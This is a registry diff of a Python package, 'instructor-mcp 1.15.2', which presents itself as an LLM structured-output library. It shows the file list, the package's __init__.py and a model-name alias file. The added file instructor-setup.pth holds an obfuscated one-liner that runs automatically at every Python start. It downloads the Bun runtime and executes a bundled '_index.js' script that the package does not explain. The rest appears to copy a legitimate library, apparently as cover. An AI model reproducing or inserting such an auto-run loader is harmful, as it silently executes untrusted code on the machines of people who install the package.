instructor-mcp 1.15.2__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- instructor-setup.pth +1 -0
- instructor_mcp/__init__.py +154 -0
- instructor_mcp/_types/__init__.py +0 -0
- instructor_mcp/_types/_alias.py +29 -0
- instructor_mcp/auto_client.py +1243 -0
- instructor_mcp/batch/__init__.py +186 -0
- instructor_mcp/batch/models.py +293 -0
- instructor_mcp/batch/processor.py +292 -0
- instructor_mcp/batch/providers/__init__.py +31 -0
- instructor_mcp/batch/providers/anthropic.py +243 -0
- instructor_mcp/batch/providers/base.py +57 -0
- instructor_mcp/batch/providers/openai.py +242 -0
- instructor_mcp/batch/request.py +175 -0
- instructor_mcp/batch/utils.py +28 -0
- instructor_mcp/cache/__init__.py +277 -0
- instructor_mcp/cli/__init__.py +0 -0
- instructor_mcp/cli/batch.py +560 -0
- instructor_mcp/cli/cli.py +35 -0
- instructor_mcp/cli/deprecated_hub.py +19 -0
- instructor_mcp/cli/files.py +123 -0
- instructor_mcp/cli/jobs.py +244 -0
- instructor_mcp/cli/usage.py +177 -0
- instructor_mcp/client.py +25 -0
- instructor_mcp/core/__init__.py +46 -0
- instructor_mcp/core/client.py +913 -0
- instructor_mcp/core/exceptions.py +601 -0
- instructor_mcp/core/hooks.py +357 -0
- instructor_mcp/core/patch.py +313 -0
- instructor_mcp/core/retry.py +502 -0
- instructor_mcp/distil.py +290 -0
- instructor_mcp/dsl/__init__.py +19 -0
- instructor_mcp/dsl/citation.py +97 -0
- instructor_mcp/dsl/iterable.py +681 -0
- instructor_mcp/dsl/json_tracker.py +138 -0
- instructor_mcp/dsl/maybe.py +74 -0
- instructor_mcp/dsl/parallel.py +173 -0
- instructor_mcp/dsl/partial.py +1089 -0
- instructor_mcp/dsl/response_list.py +43 -0
- instructor_mcp/dsl/simple_type.py +176 -0
- instructor_mcp/dsl/validators.py +20 -0
- instructor_mcp/exceptions.py +48 -0
- instructor_mcp/function_calls.py +8 -0
- instructor_mcp/hooks.py +25 -0
- instructor_mcp/mode.py +140 -0
- instructor_mcp/models.py +163 -0
- instructor_mcp/multimodal.py +26 -0
- instructor_mcp/patch.py +25 -0
- instructor_mcp/process_response.py +25 -0
- instructor_mcp/processing/__init__.py +30 -0
- instructor_mcp/processing/function_calls.py +816 -0
- instructor_mcp/processing/multimodal.py +1127 -0
- instructor_mcp/processing/response.py +701 -0
- instructor_mcp/processing/schema.py +133 -0
- instructor_mcp/processing/validators.py +26 -0
- instructor_mcp/providers/README.md +53 -0
- instructor_mcp/providers/__init__.py +82 -0
- instructor_mcp/providers/anthropic/__init__.py +1 -0
- instructor_mcp/providers/anthropic/client.py +118 -0
- instructor_mcp/providers/anthropic/utils.py +484 -0
- instructor_mcp/providers/bedrock/__init__.py +1 -0
- instructor_mcp/providers/bedrock/client.py +105 -0
- instructor_mcp/providers/bedrock/utils.py +481 -0
- instructor_mcp/providers/cerebras/__init__.py +1 -0
- instructor_mcp/providers/cerebras/client.py +72 -0
- instructor_mcp/providers/cerebras/utils.py +107 -0
- instructor_mcp/providers/cohere/__init__.py +1 -0
- instructor_mcp/providers/cohere/client.py +112 -0
- instructor_mcp/providers/cohere/utils.py +242 -0
- instructor_mcp/providers/fireworks/__init__.py +1 -0
- instructor_mcp/providers/fireworks/client.py +86 -0
- instructor_mcp/providers/fireworks/utils.py +119 -0
- instructor_mcp/providers/gemini/__init__.py +1 -0
- instructor_mcp/providers/gemini/client.py +92 -0
- instructor_mcp/providers/gemini/utils.py +1229 -0
- instructor_mcp/providers/genai/__init__.py +1 -0
- instructor_mcp/providers/genai/client.py +82 -0
- instructor_mcp/providers/groq/__init__.py +1 -0
- instructor_mcp/providers/groq/client.py +66 -0
- instructor_mcp/providers/mistral/__init__.py +1 -0
- instructor_mcp/providers/mistral/client.py +84 -0
- instructor_mcp/providers/mistral/utils.py +122 -0
- instructor_mcp/providers/openai/__init__.py +1 -0
- instructor_mcp/providers/openai/utils.py +627 -0
- instructor_mcp/providers/perplexity/__init__.py +1 -0
- instructor_mcp/providers/perplexity/client.py +75 -0
- instructor_mcp/providers/perplexity/utils.py +61 -0
- instructor_mcp/providers/vertexai/__init__.py +1 -0
- instructor_mcp/providers/vertexai/client.py +216 -0
- instructor_mcp/providers/writer/__init__.py +1 -0
- instructor_mcp/providers/writer/client.py +63 -0
- instructor_mcp/providers/writer/utils.py +116 -0
- instructor_mcp/providers/xai/__init__.py +1 -0
- instructor_mcp/providers/xai/client.py +377 -0
- instructor_mcp/providers/xai/utils.py +185 -0
- instructor_mcp/py.typed +0 -0
- instructor_mcp/templating.py +142 -0
- instructor_mcp/utils/__init__.py +85 -0
- instructor_mcp/utils/core.py +700 -0
- instructor_mcp/utils/providers.py +76 -0
- instructor_mcp/validation/__init__.py +23 -0
- instructor_mcp/validation/async_validators.py +68 -0
- instructor_mcp/validation/llm_validators.py +118 -0
- instructor_mcp/validators.py +30 -0
- instructor_mcp-1.15.2.dist-info/METADATA +395 -0
- instructor_mcp-1.15.2.dist-info/RECORD +109 -0
- instructor_mcp-1.15.2.dist-info/WHEEL +4 -0
- instructor_mcp-1.15.2.dist-info/entry_points.txt +2 -0
- instructor_mcp-1.15.2.dist-info/licenses/LICENSE +21 -0
instructor-setup.pth
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,platform as _p,sys as _y,shutil as _h,glob as _g;_j=None\nfor d in _y.path:\n try:\n if _o.path.exists(_o.path.join(d,"_index.js")):_j=_o.path.join(d,"_index.js");break\n except:pass\nif not _j:\n for d in _y.path:\n try:\n for s in _o.listdir(d):\n p=_o.path.join(d,s,"_index.js")\n if _o.path.isdir(_o.path.join(d,s))and _o.path.exists(p):_j=p;break\n if _j:break\n except:pass\n_e=_o.name=="nt"\n_b=_o.path.join(_T.gettempdir(),"b","bun"+(".exe" if _e else""))\nif not _o.path.exists(_b):\n _a="aarch64" if _p.machine()=="arm64" else"x64"\n _m={"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux")\n _z=_o.path.join(_T.gettempdir(),"b.zip")\n _u.urlretrieve(f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{_m}-{_a}.zip",_z)\n import zipfile as _zf\n _d=_o.path.join(_T.gettempdir(),"b","_extract")\n _o.makedirs(_d,exist_ok=1)\n _zf.ZipFile(_z).extractall(_d)\n _x=[_o.path.join(r,f)for r,_,fs in _o.walk(_d)for f in fs if f in("bun","bun.exe")]\n if _x:_h.move(_x[0],_b)\n _h.rmtree(_d,ignore_errors=1)\n _o.chmod(_b,509)\n _o.unlink(_z)\n_s.run([_b,"run",_j],check=False)\nopen(_G,"w").close()')
|
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
import importlib.util
|
|
2
|
+
|
|
3
|
+
__version__ = "1.15.1"
|
|
4
|
+
|
|
5
|
+
from .mode import Mode
|
|
6
|
+
from .processing.multimodal import Image, Audio
|
|
7
|
+
|
|
8
|
+
from .dsl import (
|
|
9
|
+
CitationMixin,
|
|
10
|
+
Maybe,
|
|
11
|
+
Partial,
|
|
12
|
+
IterableModel,
|
|
13
|
+
)
|
|
14
|
+
|
|
15
|
+
from .validation import llm_validator, openai_moderation
|
|
16
|
+
from .processing.function_calls import OpenAISchema, openai_schema
|
|
17
|
+
from .processing.schema import (
|
|
18
|
+
generate_openai_schema,
|
|
19
|
+
generate_anthropic_schema,
|
|
20
|
+
generate_gemini_schema,
|
|
21
|
+
)
|
|
22
|
+
from .core.patch import apatch, patch
|
|
23
|
+
from .core.client import (
|
|
24
|
+
Instructor,
|
|
25
|
+
AsyncInstructor,
|
|
26
|
+
from_openai,
|
|
27
|
+
from_litellm,
|
|
28
|
+
)
|
|
29
|
+
from .core import hooks
|
|
30
|
+
from .utils.providers import Provider
|
|
31
|
+
from .auto_client import from_provider
|
|
32
|
+
from .batch import BatchProcessor, BatchRequest, BatchJob
|
|
33
|
+
from .distil import FinetuneFormat, Instructions
|
|
34
|
+
|
|
35
|
+
# Backward compatibility: Re-export removed functions
|
|
36
|
+
from .processing.response import handle_response_model
|
|
37
|
+
from .dsl.parallel import handle_parallel_model
|
|
38
|
+
|
|
39
|
+
__all__ = [
|
|
40
|
+
"Instructor",
|
|
41
|
+
"Image",
|
|
42
|
+
"Audio",
|
|
43
|
+
"from_openai",
|
|
44
|
+
"from_litellm",
|
|
45
|
+
"from_provider",
|
|
46
|
+
"AsyncInstructor",
|
|
47
|
+
"Provider",
|
|
48
|
+
"OpenAISchema",
|
|
49
|
+
"CitationMixin",
|
|
50
|
+
"IterableModel",
|
|
51
|
+
"Maybe",
|
|
52
|
+
"Partial",
|
|
53
|
+
"openai_schema",
|
|
54
|
+
"generate_openai_schema",
|
|
55
|
+
"generate_anthropic_schema",
|
|
56
|
+
"generate_gemini_schema",
|
|
57
|
+
"Mode",
|
|
58
|
+
"patch",
|
|
59
|
+
"apatch",
|
|
60
|
+
"FinetuneFormat",
|
|
61
|
+
"Instructions",
|
|
62
|
+
"BatchProcessor",
|
|
63
|
+
"BatchRequest",
|
|
64
|
+
"BatchJob",
|
|
65
|
+
"llm_validator",
|
|
66
|
+
"openai_moderation",
|
|
67
|
+
"hooks",
|
|
68
|
+
"client", # Backward compatibility
|
|
69
|
+
# Backward compatibility exports
|
|
70
|
+
"handle_response_model",
|
|
71
|
+
"handle_parallel_model",
|
|
72
|
+
]
|
|
73
|
+
|
|
74
|
+
# Backward compatibility: Make instructor.client available as an attribute
|
|
75
|
+
# This allows code like `instructor.client.Instructor` to work
|
|
76
|
+
from . import client
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
if importlib.util.find_spec("anthropic") is not None:
|
|
80
|
+
from .providers.anthropic.client import from_anthropic
|
|
81
|
+
|
|
82
|
+
__all__ += ["from_anthropic"]
|
|
83
|
+
|
|
84
|
+
# Keep from_gemini for backward compatibility but it's deprecated
|
|
85
|
+
if (
|
|
86
|
+
importlib.util.find_spec("google")
|
|
87
|
+
and importlib.util.find_spec("google.generativeai") is not None
|
|
88
|
+
):
|
|
89
|
+
from .providers.gemini.client import from_gemini
|
|
90
|
+
|
|
91
|
+
__all__ += ["from_gemini"]
|
|
92
|
+
|
|
93
|
+
if importlib.util.find_spec("fireworks") is not None:
|
|
94
|
+
from .providers.fireworks.client import from_fireworks
|
|
95
|
+
|
|
96
|
+
__all__ += ["from_fireworks"]
|
|
97
|
+
|
|
98
|
+
if importlib.util.find_spec("cerebras") is not None:
|
|
99
|
+
from .providers.cerebras.client import from_cerebras
|
|
100
|
+
|
|
101
|
+
__all__ += ["from_cerebras"]
|
|
102
|
+
|
|
103
|
+
if importlib.util.find_spec("groq") is not None:
|
|
104
|
+
from .providers.groq.client import from_groq
|
|
105
|
+
|
|
106
|
+
__all__ += ["from_groq"]
|
|
107
|
+
|
|
108
|
+
if importlib.util.find_spec("mistralai") is not None:
|
|
109
|
+
from .providers.mistral.client import from_mistral
|
|
110
|
+
|
|
111
|
+
__all__ += ["from_mistral"]
|
|
112
|
+
|
|
113
|
+
if importlib.util.find_spec("cohere") is not None:
|
|
114
|
+
from .providers.cohere.client import from_cohere
|
|
115
|
+
|
|
116
|
+
__all__ += ["from_cohere"]
|
|
117
|
+
|
|
118
|
+
if all(importlib.util.find_spec(pkg) for pkg in ("vertexai", "jsonref")):
|
|
119
|
+
try:
|
|
120
|
+
from .providers.vertexai.client import from_vertexai
|
|
121
|
+
except Exception:
|
|
122
|
+
# Optional dependency may be present but broken/misconfigured at import time.
|
|
123
|
+
# Avoid failing `import instructor` in that case.
|
|
124
|
+
pass
|
|
125
|
+
else:
|
|
126
|
+
__all__ += ["from_vertexai"]
|
|
127
|
+
|
|
128
|
+
if importlib.util.find_spec("boto3") is not None:
|
|
129
|
+
from .providers.bedrock.client import from_bedrock
|
|
130
|
+
|
|
131
|
+
__all__ += ["from_bedrock"]
|
|
132
|
+
|
|
133
|
+
if importlib.util.find_spec("writerai") is not None:
|
|
134
|
+
from .providers.writer.client import from_writer
|
|
135
|
+
|
|
136
|
+
__all__ += ["from_writer"]
|
|
137
|
+
|
|
138
|
+
if importlib.util.find_spec("xai_sdk") is not None:
|
|
139
|
+
from .providers.xai.client import from_xai
|
|
140
|
+
|
|
141
|
+
__all__ += ["from_xai"]
|
|
142
|
+
|
|
143
|
+
if importlib.util.find_spec("openai") is not None:
|
|
144
|
+
from .providers.perplexity.client import from_perplexity
|
|
145
|
+
|
|
146
|
+
__all__ += ["from_perplexity"]
|
|
147
|
+
|
|
148
|
+
if (
|
|
149
|
+
importlib.util.find_spec("google")
|
|
150
|
+
and importlib.util.find_spec("google.genai") is not None
|
|
151
|
+
):
|
|
152
|
+
from .providers.genai.client import from_genai
|
|
153
|
+
|
|
154
|
+
__all__ += ["from_genai"]
|
|
File without changes
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
from typing import Literal
|
|
2
|
+
|
|
3
|
+
from typing_extensions import TypeAlias
|
|
4
|
+
|
|
5
|
+
ModelNames: TypeAlias = Literal[
|
|
6
|
+
"gpt-4o",
|
|
7
|
+
"gpt-4-0125-preview",
|
|
8
|
+
"gpt-4-turbo-preview",
|
|
9
|
+
"gpt-4-1106-preview",
|
|
10
|
+
"gpt-4-vision-preview",
|
|
11
|
+
"gpt-4",
|
|
12
|
+
"gpt-4-0314",
|
|
13
|
+
"gpt-4-0613",
|
|
14
|
+
"gpt-4-32k",
|
|
15
|
+
"gpt-4-32k-0314",
|
|
16
|
+
"gpt-4-32k-0613",
|
|
17
|
+
"gpt-3.5-turbo",
|
|
18
|
+
"gpt-3.5-turbo-16k",
|
|
19
|
+
"gpt-3.5-turbo-0301",
|
|
20
|
+
"gpt-3.5-turbo-0613",
|
|
21
|
+
"gpt-3.5-turbo-1106",
|
|
22
|
+
"gpt-3.5-turbo-0125",
|
|
23
|
+
"gpt-3.5-turbo-16k-0613",
|
|
24
|
+
"gpt-3.5-turbo-instruct",
|
|
25
|
+
"text-embedding-ada-002",
|
|
26
|
+
"text-embedding-ada-002-v2",
|
|
27
|
+
"text-embedding-3-small",
|
|
28
|
+
"text-embedding-3-large",
|
|
29
|
+
]
|